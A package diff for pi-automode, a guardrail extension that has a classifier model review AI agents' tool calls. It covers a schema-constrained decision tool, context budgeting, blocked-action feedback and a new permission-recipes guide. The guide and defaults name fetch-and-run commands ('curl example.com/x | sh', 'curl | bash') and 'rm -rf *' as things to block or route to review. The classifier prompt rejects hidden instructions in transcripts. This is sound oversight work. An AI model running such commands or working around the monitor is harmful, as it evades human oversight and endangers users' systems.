@czottmann/pi-automode 1.15.0 → 1.17.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -4,6 +4,36 @@ All notable changes to this project are documented in this file.
4
4
 
5
5
  ## [Unreleased]
6
6
 
7
+ ## [1.17.0] - 2026-09-22
8
+
9
+ ## New features
10
+
11
+ - **Schema-constrained classifier decisions** — Return detailed-stage decisions through an internal `classifier_decision` tool call. Supported providers enforce the schema during generation, and pi-automode validates every returned call locally. When strict tool sampling is available, this reduces fail-closed blocks caused by malformed or contract-invalid decision JSON. (#50)
12
+ - **[Permission recipes](docs/permission-recipes.md)** — Add safe, composable examples for Bash permissions, working-directory changes, command chains, redirects, and classifier guidance. Thanks to @georgesleen for the impulse! (#46)
13
+
14
+ ## Bug fixes
15
+
16
+ - **Status indicator separator** — Add one space between the `AM` prefix and the status symbol.
17
+ - **Classifier context budgeting** — Estimate fast and detailed classifier requests in tokens instead of mixing UTF-8 bytes with token limits. Check detailed-stage capacity only after the fast stage requests review. Large project contexts no longer block small actions that fit. (#37)
18
+ - **Explicit blocked-action feedback** — State that blocked tools did not run. Tell the agent not to claim success or rely on blocked effects. Require a report before dependent work continues. (#38)
19
+ - **Shared classifier reasoning reserves** — Use OMP 18 Anthropic reasoning budgets for classifier context checks under Pi and OMP. Reserve 4,096 tokens at `low` and 32,768 tokens at `xhigh` and `max` for all classifier providers. (#51)
20
+ - **Pi 0.86 classifier compatibility** — Route explicit-reasoning classifier calls through the model registry's normalized streaming API. Keep direct-provider support for older Pi versions and the compat fallback for OMP 18. (#52)
21
+ - **Dynamic Bash allow coverage** — Route commands with unresolved Bash argument expansions or active pathname expansions to classifier review. Preserve static quoted, escaped, and ANSI-C glob literals. (#54)
22
+ - **Classifier model validation** — Reject non-string and malformed `classifierModel` values during diagnostics and configuration merging. Preserve valid lower-precedence values and the session-model fallback. Prevent invalid configuration from causing tool-hook exceptions. (#55)
23
+ - **Malformed permission deny diagnostics** — Report malformed `permissions.deny` patterns with their configuration source and list index. Preserve fail-closed deny matching and no-match allow behavior. (#56)
24
+ - **Cancelled tool-call accounting** — Route already-cancelled calls through the standard block path. Record counters, denial history, persisted state, UI updates, and decision logs without Bash analysis or classifier work. (#57)
25
+
26
+ ## [1.16.0] - 2026-09-07
27
+
28
+ ## New features
29
+
30
+ - **[Bounded existing-file authorization](docs/defaults.md#soft_deny)** — Allow user authorization for pre-existing local-file changes that names task, worktree, path scope, and allowed operation. (#32)
31
+
32
+ ## Bug fixes
33
+
34
+ - **OpenCode classifier routing** — Add OpenCode session headers to every classifier completion path. Preserve Pi's header precedence and exact host matching. (#35)
35
+ - **OMP 18 project trust compatibility** — Treat runtimes without `isProjectTrusted()` as untrusted. Prevent startup and configuration commands from throwing. (#34)
36
+
7
37
  ## [1.15.0] - 2026-08-28
8
38
 
9
39
  ## Bug fixes
@@ -51,7 +81,9 @@ All notable changes to this project are documented in this file.
51
81
  - **Project config trust gate** — Ignore `.pi/automode.local.json` and `.pi/automode.json` until Pi trusts the project. Apply the trust gate during startup and config reloads. (#16)
52
82
  - **In-memory observability logs** — Write logs to an extension-owned directory (`~/.pi/agent/extensions/pi-automode/logs/`) instead of the launching project directory. Thanks, @HerbertGao! (#13)
53
83
 
54
- [Unreleased]: https://github.com/czottmann/pi-automode/compare/v1.15.0...HEAD
84
+ [Unreleased]: https://github.com/czottmann/pi-automode/compare/v1.17.0...HEAD
85
+ [1.17.0]: https://github.com/czottmann/pi-automode/compare/v1.16.0...v1.17.0
86
+ [1.16.0]: https://github.com/czottmann/pi-automode/compare/v1.15.0...v1.16.0
55
87
  [1.15.0]: https://github.com/czottmann/pi-automode/compare/v1.14.0...v1.15.0
56
88
  [1.14.0]: https://github.com/czottmann/pi-automode/compare/v1.13.0...v1.14.0
57
89
  [1.13.0]: https://github.com/czottmann/pi-automode/compare/v1.12.0...v1.13.0
package/README.md CHANGED
@@ -79,7 +79,7 @@ The bundled `automode-diagnostics` skill uses this tool to diagnose unexpected d
79
79
  When the Pi TUI is available, the extension renders a persistent status line:
80
80
 
81
81
  ```text
82
- AM● a:12 d:2 ca:5 cd:1
82
+ AM ● a:12 d:2 ca:5 cd:1
83
83
  ```
84
84
 
85
85
  - `AM` — auto-mode prefix. `●` means enabled. `○` means disabled through configuration or `/automode off`.
@@ -90,6 +90,7 @@ AM● a:12 d:2 ca:5 cd:1
90
90
  ## Docs
91
91
 
92
92
  - [Configuration](docs/configuration.md)
93
+ - [Permission recipes](docs/permission-recipes.md)
93
94
  - [Defaults and rule-list behavior](docs/defaults.md)
94
95
  - [Auto-mode classifier flow](docs/automode-classifier-flow.md)
95
96
  - [Observability logging](docs/observability-logging.md)
@@ -122,17 +123,21 @@ The list does not govern `bash`. The classifier and deterministic hard-deny chec
122
123
 
123
124
  The value `allowInsideWorkingDirectory: true` allows file access inside the working directory locally. Pi-automode sends all outside file access to the classifier, including reads.
124
125
 
125
- Classification starts with a conservative one-token filter. If the filter requests review, pi-automode runs structured review.
126
+ Classification starts with a conservative one-token filter. If the filter requests review, pi-automode requests one internal `classifier_decision` tool call.
126
127
 
127
- Both stages receive the complete current tool input in a dedicated message. Transcript truncation cannot remove action content. If the exact input cannot fit in the classifier context, auto mode blocks the call.
128
+ The tool exists only in the nested classifier request. It is not registered with `pi.registerTool()`, and the main agent cannot call it.
129
+
130
+ Pi AI requests schema-constrained sampling with `strict: "prefer"`. Supported providers enforce the schema during generation. Pi-automode validates every returned tool call locally.
128
131
 
129
- Both stages use a classifier-specific session key. They request short cache retention from providers that support it. A missing model, provider failure, or malformed response blocks the action.
132
+ Both stages receive the complete current tool input in a dedicated message. Transcript truncation cannot remove action content. If the exact input cannot fit in the classifier context, auto mode blocks the call.
130
133
 
134
+ Both stages use a classifier-specific session key. They request short cache retention from providers that support it. A missing model, provider failure, or invalid response blocks the action.
131
135
  Pi-automode parses Bash structure with `unbash` before permission and deterministic hard-deny checks. The analysis includes nested commands and literal shell-wrapper scripts. A Bash parse error blocks the action.
132
136
 
133
137
  ## Examples
134
138
 
135
139
  - `examples/automode.local.json`: copy to `.pi/automode.local.json` in a project and edit the domains, buckets, and source-control org.
140
+ - [Permission recipes](docs/permission-recipes.md): use narrow examples for common permission and classifier-policy changes.
136
141
 
137
142
  ## Known limits
138
143
 
@@ -156,12 +161,12 @@ The tests cover these safety-sensitive areas:
156
161
  - classifier routing for `write` and `edit`
157
162
  - symlink-aware safety-control checks
158
163
  - token-budgeted transcript selection
159
- - staged classifier parsing and cache behavior
164
+ - staged classifier tool-call parsing and cache behavior
160
165
  - hook-level allow and block behavior
161
166
 
162
167
  ## Publishing
163
168
 
164
- When a maintainer publishes a GitHub Release, GitHub Actions publishes the package to npm. The release tag must match `package.json` exactly. The forms `v1.0.0` and `1.0.0` both match version `1.0.0`.
169
+ When a maintainer publishes a GitHub Release, GitHub Actions publishes the package to npm. The required release tag format is `v<version>`. The `<version>` value must be the same as the version in `package.json`. For example, version `1.0.0` requires tag `v1.0.0`.
165
170
 
166
171
  The workflow uses npm Trusted Publishing, so it does not need an npm token secret. Configure this package on npm with this repository and workflow file (`.github/workflows/publish.yml`). The workflow builds the package, runs `npm run check`, and publishes with npm provenance.
167
172
 
package/docs/GLOSSARY.md CHANGED
@@ -18,7 +18,7 @@ The enforcement flow is the ordered pipeline that runs before each agent tool ca
18
18
 
19
19
  **Fast stage** — The first classifier stage. It returns `0` for a clearly allowed action or `1` for an action that can require review.
20
20
 
21
- **Detailed stage** — The second classifier stage. It runs after a fast-stage review result and returns a structured allow or block decision.
21
+ **Detailed stage** — The second classifier stage. It runs after a fast-stage review result. It returns one schema-validated `classifier_decision` tool call.
22
22
 
23
23
  ## Classifier policy and rules
24
24
 
@@ -28,7 +28,7 @@ The classifier policy defines denial tiers and rule-list syntax. See [Defaults a
28
28
 
29
29
  **soft_deny** — Classifier rules that normally block but support defined overrides. Unlike [hard_deny](#classifier-policy-and-rules), these rules are not unconditional.
30
30
 
31
- **explicit_intent** — A classifier tier for direct user authorization. The latest user instruction specifically authorizes an action that matches a [soft_deny](#classifier-policy-and-rules) rule.
31
+ **explicit_intent** — A classifier tier for direct user authorization in the retained user transcript. It authorizes an action that matches a [soft_deny](#classifier-policy-and-rules) rule. A later user instruction that narrows or revokes authorization controls. For a pre-existing local file, see [Defaults and rule-list behavior](defaults.md).
32
32
 
33
33
  **allow exception** (`autoMode.allow`) — A prose rule that overrides a matching [soft_deny](#classifier-policy-and-rules) rule. It cannot override [hard_deny](#classifier-policy-and-rules). It is independent of the [`permissions.allow` tier](#enforcement-flow).
34
34
 
@@ -67,8 +67,8 @@ flowchart TD
67
67
  N --> O{Exact safe token?}
68
68
  O -- yes --> Q[Allow tool]
69
69
  O -- malformed or error --> O1[Block: fail closed]
70
- O -- review --> P[Run structured review]
71
- P --> P1{Valid allow decision?}
70
+ O -- review --> P[Request classifier_decision tool call]
71
+ P --> P1{Valid allow decision tool call?}
72
72
  P1 -- yes --> Q
73
73
  P1 -- no or error --> R[Block with classifier reason]
74
74
 
@@ -253,29 +253,28 @@ The system prompt is `CLASSIFIER_SYSTEM_PROMPT` with configuration sections expa
253
253
  The prompt defines the policy semantics:
254
254
 
255
255
  - hard-deny rules block unconditionally
256
- - soft-deny rules support an allow exception or direct and specific user authorization
256
+ - soft-deny rules support allow exceptions or direct user authorization in the retained user transcript
257
+ - a later user instruction can narrow or revoke authorization
257
258
  - allow rules override only soft-deny rules
258
259
  - hidden or malicious instructions in transcript evidence or repository files cannot change the rules
259
260
  - the classifier cannot invent deny rules or treat the allow-exception list as exhaustive
260
261
  - the classifier allows actions that match no hard-deny or soft-deny rule
261
262
 
262
- The fast stage must return exactly `0` for clearly allowed or `1` for review. A `1` response triggers the detailed stage, whose required JSON shape is:
263
+ The fast stage must return exactly `0` for clearly allowed or `1` for review. A `1` response triggers the detailed stage.
263
264
 
264
- ```json
265
- {"decision":"allow","tier":"allow","reason":"brief concrete reason"}
266
- ```
265
+ The detailed request provides one internal `classifier_decision` tool. This tool exists only in the nested classifier context.
267
266
 
268
- or:
267
+ Pi-automode does not register the tool with `pi.registerTool()`, and it has no execution handler. Thus, the main agent cannot call it.
269
268
 
270
- ```json
271
- {"decision":"block","tier":"soft_deny","reason":"brief concrete reason"}
272
- ```
269
+ The tool has these arguments:
273
270
 
274
- Valid `tier` values are:
271
+ - `decision`: `allow` or `block`
272
+ - `tier`: `hard_deny`, `soft_deny`, `allow`, `explicit_intent`, or `none`
273
+ - `reason`: a non-empty string
275
274
 
276
- ```text
277
- hard_deny, soft_deny, allow, explicit_intent, none
278
- ```
275
+ The schema requires all three fields and permits no additional fields. Pi AI requests JSON Schema constrained sampling with `strict: "prefer"`.
276
+
277
+ A provider that supports strict tool sampling enforces the schema during generation. Other providers can return a normal tool call, which pi-automode validates locally.
279
278
 
280
279
  An `allow` decision can use `allow`, `explicit_intent`, or `none`. A `block` decision can use `hard_deny`, `soft_deny`, or `none`.
281
280
 
@@ -302,9 +301,13 @@ separate from the transcript. Pi-automode does not truncate it:
302
301
  {"toolName":"bash","input":{"command":"npm test"}}
303
302
  ```
304
303
 
305
- Both classifier stages receive the same context message and exact action
306
- message. If the exact action cannot fit in the classifier model's context
307
- window, auto mode blocks the call instead of removing action content.
304
+ The fast and detailed stages receive the same context message and complete action message. Pi-automode checks each request before it sends the request. The estimate includes the system prompt, user-message text, and the stage instruction. For the detailed stage, the estimate also includes the serialized tool schema.
305
+
306
+ The estimate matches Pi 0.86. It uses `Math.ceil(text.length / 4)`, where `text.length` counts UTF-16 code units. Pi-automode also reserves the stage output limit and the configured reasoning budget. It keeps Pi's 4,096-token context margin.
307
+
308
+ Pi-automode checks the fast request before the fast-stage call. A fast result of `0` allows the action. Pi-automode does not check the unused detailed request. After a fast result of `1`, pi-automode checks the detailed request. This request includes the `classifier_decision` schema and the larger detailed output reserve.
309
+
310
+ If a stage request cannot fit in the classifier model's context window, auto mode blocks the call. It does not truncate the action.
308
311
 
309
312
  Pi-automode builds the transcript from active Pi context entries. It includes only:
310
313
 
@@ -344,13 +347,15 @@ No classifier model/API key available; auto mode fails closed.
344
347
 
345
348
  Classifier calls use `ctx.signal`, a stable classifier-specific session ID, and `cacheRetention: "short"`. They do not set a temperature because some providers reject it. The calls use provider defaults instead. Providers without cache affinity ignore that option.
346
349
 
350
+ The detailed request does not use provider-specific forced tool selection. Its instruction requires exactly one `classifier_decision` call. Missing or invalid calls fail closed.
351
+
347
352
  `autoMode.classifierTimeoutMs` limits each fast-stage and detailed-stage request. The default is 20000 ms.
348
353
 
349
354
  If a request exceeds its budget, pi-automode aborts it and blocks the action. A stalled provider stream has the same result.
350
355
 
351
356
  The fast stage requires one visible digit and uses `maxTokens: 512`. Reasoning models can use hidden tokens before they emit the digit.
352
357
 
353
- Extra visible content fails parsing. Detailed review uses `maxTokens: 1200`. It can retry once after malformed or truncated output.
358
+ Extra visible content fails fast-stage parsing. Detailed review uses `maxTokens: 1200`. It can retry once after a missing, invalid, or truncated decision tool call.
354
359
 
355
360
  ## Parsing the classifier result
356
361
 
@@ -358,19 +363,37 @@ The fast-stage parser requires `stopReason: "stop"`. It removes surrounding whit
358
363
 
359
364
  Empty responses, additional content, malformed output, and non-stop responses block immediately. Observability logs preserve the untrimmed model response.
360
365
 
361
- The detailed parser accepts only the requested JSON object from a response with `stopReason: "stop"`. It requires `decision`, `tier`, and `reason`.
366
+ The detailed parser requires `stopReason: "toolUse"` and exactly one `classifier_decision` call. The response must not contain non-empty visible text.
367
+
368
+ The arguments must contain exactly `decision`, `tier`, and `reason`. Each value must have the required type and an allowed enum value.
369
+
370
+ The parser also checks the decision and tier combination. It rejects extra fields, unknown tiers, contradictory combinations, and empty reasons.
362
371
 
363
- The parser rejects wrappers, extra fields, unknown tiers, and empty reasons. If the response shape changes, it fails closed.
372
+ A response with `stopReason: "length"` can cause one retry. A missing or invalid decision tool call also can cause one retry.
364
373
 
365
- A response with `stopReason: "length"` can cause one retry. The truncated response cannot authorize an action. Other non-stop responses block immediately.
374
+ A truncated or invalid response cannot authorize an action. Error and aborted responses block immediately.
366
375
 
367
376
  If detailed parsing fails after its retry, pi-automode blocks the action with this reason:
368
377
 
369
378
  ```text
370
- Classifier response was not valid decision JSON; auto mode fails closed.
379
+ Classifier response did not contain a valid classifier decision tool call; auto mode fails closed.
371
380
  ```
372
381
 
373
- If the model call throws or returns an error or aborted response, pi-automode blocks the action immediately. It uses a classifier failure message.
382
+ If the model call throws, pi-automode blocks the action immediately. It uses a classifier failure message.
383
+
384
+ ## Agent behavior after a blocked tool call
385
+
386
+ Pi converts a blocked hook response into an error result and does not run the tool. Pi-automode does not set `terminate: true`, so Pi can request the next model response.
387
+
388
+ The result states that the tool did not run and preserves the denial reason. The result and the Auto Mode guidance instruct the agent to:
389
+
390
+ - report the block to the user before work that depends on the blocked action continues
391
+ - not claim success or rely on effects from the blocked action
392
+ - not try an equivalent workaround
393
+
394
+ Independent work can continue. Interactive approval stays limited to configured `permissions.ask` rules. Classifier and deterministic denials stay final.
395
+
396
+ These instructions decrease ambiguity in the model context. They do not guarantee that each model will follow the instructions.
374
397
 
375
398
  ## State, UI, and denial history
376
399
 
@@ -169,3 +169,38 @@ A pattern can contain at most 4,096 UTF-16 code units. Bash analysis accepts at
169
169
  For other allow matching, an input can contain at most 1,048,576 UTF-16 code units. A longer input returns no match. Deny and ask patterns match the same oversized input so that they fail closed.
170
170
 
171
171
  `write` and `edit` calls whose resolved target is a protected path are never covered by `permissions.allow`. This includes protected targets reached through symlink aliases.
172
+
173
+ See [Permission recipes](permission-recipes.md) for narrow examples of Bash permissions, directory changes, command chains, redirects, and classifier guidance.
174
+
175
+ ## Custom models (like OpenRouter's presets)
176
+
177
+ Pi-automode can only select models that Pi exposes through its model registry. Add unlisted models to `~/.pi/agent/models.json`.
178
+
179
+ For example, register an OpenRouter preset in the built-in `openrouter` provider:
180
+
181
+ ```json
182
+ {
183
+ "providers": {
184
+ "openrouter": {
185
+ "models": [
186
+ {
187
+ "id": "@preset/nvidia-nemotron-3-nano-30b-a3b-fast",
188
+ "name": "NVIDIA: Nemotron 3 Nano 30B A3B Fast (Preset)",
189
+ "reasoning": true,
190
+ "input": ["text"],
191
+ "contextWindow": 262144,
192
+ "maxTokens": 235929,
193
+ "cost": {
194
+ "input": 0.05,
195
+ "output": 0.2,
196
+ "cacheRead": 0.03,
197
+ "cacheWrite": 0
198
+ }
199
+ }
200
+ ]
201
+ }
202
+ }
203
+ }
204
+ ```
205
+
206
+ Restart Pi (or run `/reload`), then select the model with `/automode model openrouter/@preset/nvidia-nemotron-3-nano-30b-a3b-fast`.
package/docs/defaults.md CHANGED
@@ -37,6 +37,7 @@ These entries give the classifier context. They do not bypass `hard_deny` or aut
37
37
 
38
38
  - read-only operations: inspecting files, listing directories, searching, GET requests, and state queries that do not expose secrets
39
39
  - local development inside the working tree: creating, editing, building, testing, linting, formatting, and deleting files created during the current task
40
+ - modifying or deleting pre-existing local files with bounded direct user authorization
40
41
  - installing dependencies already declared in package manifests or lockfiles
41
42
  - using standard credentials only with their intended configured providers
42
43
  - pushing to the current non-default working branch or a new branch created for the task
@@ -88,7 +89,7 @@ Patterns support `~`, `$HOME`, and `${HOME}` expansion. The `*` wildcard matches
88
89
  - force push, remote branch deletion, remote history rewrite, or direct push to `main`, `master`, or the default branch
89
90
  - downloading and executing external code, including `curl | bash` and `wget | sh`
90
91
  - production deploys, production database migrations, or production infrastructure changes
91
- - deleting, truncating, or overwriting pre-existing local files unless the user named the specific target
92
+ - deleting, truncating, or overwriting local files that existed before session start without a bounded user authorization
92
93
  - mass modification/deletion in cloud storage, ticketing systems, collaboration tools, or external APIs
93
94
  - writing through remote shells such as `ssh`, `kubectl exec`, or `docker exec` on shared or production hosts
94
95
  - changing shared or live infrastructure without its normal preview, plan, dry run, or review
@@ -96,7 +97,7 @@ Patterns support `~`, `$HOME`, and `${HOME}` expansion. The `*` wildcard matches
96
97
  - exposing local files, sockets, credentials, or internal services through a network service
97
98
  - outbound messages, purchases, bookings, subscriptions, or other real-world transactions
98
99
 
99
- Soft blocks can be overridden by a matching `allow` exception or by direct, specific user intent.
100
+ Soft blocks can be overridden by a matching `allow` exception or direct user intent. For a pre-existing local file, direct user intent must name the task, one repository or worktree, permitted path scopes, and an allowed operation. The action must stay inside those bounds. Other soft blocks need direct user intent but do not require these file bounds. A later user instruction that narrows or revokes authorization controls.
100
101
 
101
102
  ### `hard_deny`
102
103
 
@@ -38,7 +38,7 @@ Pi sends tool output to the current model. The output has deliberate privacy lim
38
38
 
39
39
  - `status` does not include the last decision reason.
40
40
  - `denials` does not include denial reasons or action payloads.
41
- - `config` removes the parser detail from invalid JSON diagnostics.
41
+ - `config` removes configuration-parser details from invalid JSON diagnostics.
42
42
 
43
43
  The `config` view returns effective rule text. Do not put credentials, tokens, private keys, signed URLs, or other secrets in pi-automode rules or configuration.
44
44
 
@@ -72,6 +72,12 @@ This includes `--no-session` runs and non-persisted subagents. The path does not
72
72
 
73
73
  See [Observability logging](observability-logging.md) for log configuration and entry schemas.
74
74
 
75
+ ## Classifier protocol failures
76
+
77
+ When classifier I/O logging is active, a detailed-stage tool call appears in `attempts[].response.toolCalls`. The field contains each tool name and argument object.
78
+
79
+ The field does not contain provider call IDs or hidden reasoning. Use it to distinguish a missing tool call from invalid tool arguments.
80
+
75
81
  ## Diagnosis workflow
76
82
 
77
83
  Classifier rules cannot override permission or deterministic denials.
@@ -134,7 +134,8 @@ The entry follows all related classifier-usage `message` entries. It precedes th
134
134
  Each `attempts[]` entry is `{ stage, attempt, response?, parsed?, error?, durationMs }`:
135
135
 
136
136
  - `stage` — `fast` for the one-token filter or `detailed` for structured review.
137
- - `response` — `{ stopReason, text, model, timestamp, usage, errorMessage? }`, the raw model output and provider-reported usage for that call, including provider-reported errors and aborted requests.
137
+ - `response` — `{ stopReason, text, toolCalls?, model, timestamp, usage, errorMessage? }`, including provider-reported errors and aborted requests.
138
+ - `response.toolCalls` — each classifier tool name and parsed argument object. This field excludes provider call IDs and hidden reasoning.
138
139
  - `parsed` — the decision parsed from the response, or absent after a parse failure.
139
140
  - `error` — present after a network or authentication error. In this case, `response` is absent.
140
141
 
@@ -0,0 +1,243 @@
1
+ # Permission recipes
2
+
3
+ Use these recipes to add narrow permissions and classifier guidance to pi-automode. Each example omits unrelated configuration.
4
+
5
+ > [!CAUTION]
6
+ > Pi-automode is a guardrail extension, not a sandbox. A `permissions.allow` match skips classifier review. Add only rules whose complete effect you understand.
7
+
8
+ ## Table of contents
9
+
10
+ - [Before you add a rule](#before-you-add-a-rule)
11
+ - [Choose the correct rule type](#choose-the-correct-rule-type)
12
+ - [Allow a simple Bash command](#allow-a-simple-bash-command)
13
+ - [Allow commands after changing directories](#allow-commands-after-changing-directories)
14
+ - [Allow command chains and pipelines](#allow-command-chains-and-pipelines)
15
+ - [Allow redirects](#allow-redirects)
16
+ - [Ask before sensitive commands](#ask-before-sensitive-commands)
17
+ - [Deny commands unconditionally](#deny-commands-unconditionally)
18
+ - [Give the classifier more freedom inside a repository](#give-the-classifier-more-freedom-inside-a-repository)
19
+ - [Diagnose a rule that does not match](#diagnose-a-rule-that-does-not-match)
20
+ - [Avoid unsafe patterns](#avoid-unsafe-patterns)
21
+ - [Related documentation](#related-documentation)
22
+
23
+ ## Before you add a rule
24
+
25
+ Use the narrowest rule that covers the required action. When possible, include exact command names and trusted paths.
26
+
27
+ A permission rule can have more authority than classifier guidance. In particular, `permissions.allow` skips classifier review for a matching tool call. Permission denies, deterministic hard-deny checks, denied paths, and protected-path controls remain active.
28
+
29
+ Do not put credentials, tokens, private keys, signed URLs, or other secrets in a rule. The effective configuration can appear in diagnostics and model-visible inspection output.
30
+
31
+ Pi-automode reads `permissions.allow` only from these sources:
32
+
33
+ - the global pi-automode configuration
34
+ - a trusted `.pi/automode.local.json` file
35
+ - `PI_AUTOMODE_SETTINGS_JSON`
36
+
37
+ A shared project `.pi/automode.json` file cannot add allow rules.
38
+
39
+ ## Choose the correct rule type
40
+
41
+ | Configuration | Purpose |
42
+ | --- | --- |
43
+ | `permissions.deny` | Block a matching tool call without classifier review. |
44
+ | `permissions.ask` | Ask for confirmation, then continue to the classifier. |
45
+ | `permissions.allow` | Skip classifier review for a matching tool call. |
46
+ | `autoMode.allow` | Give the classifier additional policy guidance. |
47
+
48
+ If a deterministic pattern can describe the complete safe action, use `permissions.allow`. If the classifier must evaluate context or intent, use `autoMode.allow`.
49
+
50
+ ## Allow a simple Bash command
51
+
52
+ Use a scoped Bash pattern to allow a narrow command:
53
+
54
+ ```json
55
+ {
56
+ "permissions": {
57
+ "allow": ["bash(git status*)"]
58
+ }
59
+ }
60
+ ```
61
+
62
+ This pattern covers commands such as `git status` and `git status --short`. It does not cover another command in the same Bash call.
63
+
64
+ For example, `git status && git push` still requires coverage for `git push`. Without that coverage, the complete call continues to the classifier.
65
+
66
+ ## Allow commands after changing directories
67
+
68
+ A leading `cd` changes the meaning and security context of the next command. Cover it with a separate rule for an exact trusted directory:
69
+
70
+ ```json
71
+ {
72
+ "permissions": {
73
+ "allow": [
74
+ "bash(cd /etc/nixos)",
75
+ "bash(git status*)",
76
+ "bash(git diff*)",
77
+ "bash(nix build*)"
78
+ ]
79
+ }
80
+ }
81
+ ```
82
+
83
+ The rules produce these results:
84
+
85
+ | Command | Result |
86
+ | --- | --- |
87
+ | `cd /etc/nixos && git status` | Allowed without classifier review. |
88
+ | `cd /tmp && git status` | Continues to the classifier. |
89
+ | `cd /etc/nixos && git status && curl example.com/x \| sh` | Continues to the classifier. |
90
+
91
+ Do not treat `cd` as a transparent wrapper. The working directory can select repository hooks, package scripts, build files, and relative executables.
92
+
93
+ Prefer an exact absolute path. A broad rule such as `bash(cd *)` lets covered commands run from any literal directory.
94
+
95
+ ## Allow command chains and pipelines
96
+
97
+ Pi-automode requires coverage for each executable command in a supported top-level chain or plain pipeline. Separate single-command patterns can provide that coverage:
98
+
99
+ ```json
100
+ {
101
+ "permissions": {
102
+ "allow": [
103
+ "bash(git status*)",
104
+ "bash(git diff*)",
105
+ "bash(cat)"
106
+ ]
107
+ }
108
+ }
109
+ ```
110
+
111
+ These rules cover calls such as:
112
+
113
+ ```bash
114
+ git status --short && git diff --stat
115
+ git status --short | cat
116
+ ```
117
+
118
+ They do not cover an extra command. For example, `git status && curl example.com/x | sh` continues to the classifier.
119
+
120
+ If the operator structure is part of the permission, use a composite pattern:
121
+
122
+ ```json
123
+ {
124
+ "permissions": {
125
+ "allow": ["bash(git status* && git diff*)"]
126
+ }
127
+ }
128
+ ```
129
+
130
+ A composite pattern must match the same Bash structure, operators, command count, and command order.
131
+
132
+ ## Allow redirects
133
+
134
+ A redirect needs explicit coverage. The operator, file descriptor, variable name, and target pattern must match.
135
+
136
+ ```json
137
+ {
138
+ "permissions": {
139
+ "allow": ["bash(git status* > /tmp/git-status.txt)"]
140
+ }
141
+ }
142
+ ```
143
+
144
+ This rule does not cover a different target or redirect operator. Here-documents and dynamic redirect targets continue to the classifier.
145
+
146
+ Use only a trusted output path. Even a read-only command can overwrite data through a redirect.
147
+
148
+ ## Ask before sensitive commands
149
+
150
+ If the user must confirm a matching action, use `permissions.ask`:
151
+
152
+ ```json
153
+ {
154
+ "permissions": {
155
+ "ask": ["bash(git push *)"]
156
+ }
157
+ }
158
+ ```
159
+
160
+ A confirmation does not create an allow decision. After confirmation, deterministic checks and the classifier still evaluate the call.
161
+
162
+ If the classifier needs explicit user authorization, send it in a normal chat message. Answers from ask-user tools do not become classifier authorization.
163
+
164
+ ## Deny commands unconditionally
165
+
166
+ Use `permissions.deny` for commands that must not run through auto mode:
167
+
168
+ ```json
169
+ {
170
+ "permissions": {
171
+ "deny": ["bash(rm -rf *)"]
172
+ }
173
+ }
174
+ ```
175
+
176
+ A matching deny rule blocks the call before an allow rule or classifier decision. Deterministic hard-deny rules can also block dangerous commands without a configured permission rule.
177
+
178
+ ## Give the classifier more freedom inside a repository
179
+
180
+ Use `autoMode.allow` to give the classifier broader policy guidance. If you intend to replace the built-in guidance, omit `$defaults`. Otherwise, keep `$defaults`.
181
+
182
+ The following rule permits normal implementation work inside the assigned repository or worktree. It excludes external systems and safety-sensitive changes:
183
+
184
+ ```json
185
+ {
186
+ "autoMode": {
187
+ "allow": [
188
+ "$defaults",
189
+ "Creating, modifying, and deleting local files within the Git repository or worktree. This includes pre-existing source code, migrations, CLI code, tests, and project documentation. This permission applies only to local implementation work and excludes files outside the assigned repository or worktree, external systems, credentials, safety controls, and Git history changes."
190
+ ]
191
+ }
192
+ }
193
+ ```
194
+
195
+ This setting guides the classifier. It does not create a deterministic tool permission and does not override permission denies or hard-deny checks.
196
+
197
+ ## Diagnose a rule that does not match
198
+
199
+ 1. Run `/automode config` or inspect the `config` view of `automode_inspect`.
200
+ 2. Confirm that the expected rule appears in the effective configuration.
201
+ 3. Inspect `/automode denials` or the `denials` view to identify the enforcement layer.
202
+ 4. If you enabled observability logging, inspect the matching decision entry.
203
+ 5. For Bash, identify each executable command, operator, and redirect in the call.
204
+ 6. Add only the narrowest missing coverage.
205
+ 7. Run `/automode reload` after a configuration change.
206
+
207
+ Parser errors, dynamic command names, dynamic wrapper scripts, and unsupported control structures cannot use `permissions.allow`. These calls continue to the classifier or fail closed.
208
+
209
+ See [Agent diagnostics](diagnostics.md) for the complete diagnosis workflow. See [Observability logging](observability-logging.md) for log locations and entry schemas.
210
+
211
+ ## Avoid unsafe patterns
212
+
213
+ Avoid broad deterministic allows such as:
214
+
215
+ ```json
216
+ {
217
+ "permissions": {
218
+ "allow": [
219
+ "bash(*)",
220
+ "bash(cd *)",
221
+ "bash(curl*)"
222
+ ]
223
+ }
224
+ }
225
+ ```
226
+
227
+ These patterns can grant more authority than their short text suggests.
228
+
229
+ Also avoid these mistakes:
230
+
231
+ - If you want to keep the built-in `autoMode` rule list, include `$defaults`.
232
+ - If an exact trusted path is available, do not use a broad path wildcard.
233
+ - Do not allow commands such as `npm test` or `nix build` across arbitrary directories. These commands can execute project-controlled code.
234
+ - If classifier policy is sufficient, do not use `permissions.allow`.
235
+ - Do not present pi-automode as a security boundary or sandbox.
236
+
237
+ ## Related documentation
238
+
239
+ - [Configuration](configuration.md)
240
+ - [Defaults and rule-list behavior](defaults.md)
241
+ - [Agent diagnostics](diagnostics.md)
242
+ - [Auto-mode classifier flow](automode-classifier-flow.md)
243
+ - [Observability logging](observability-logging.md)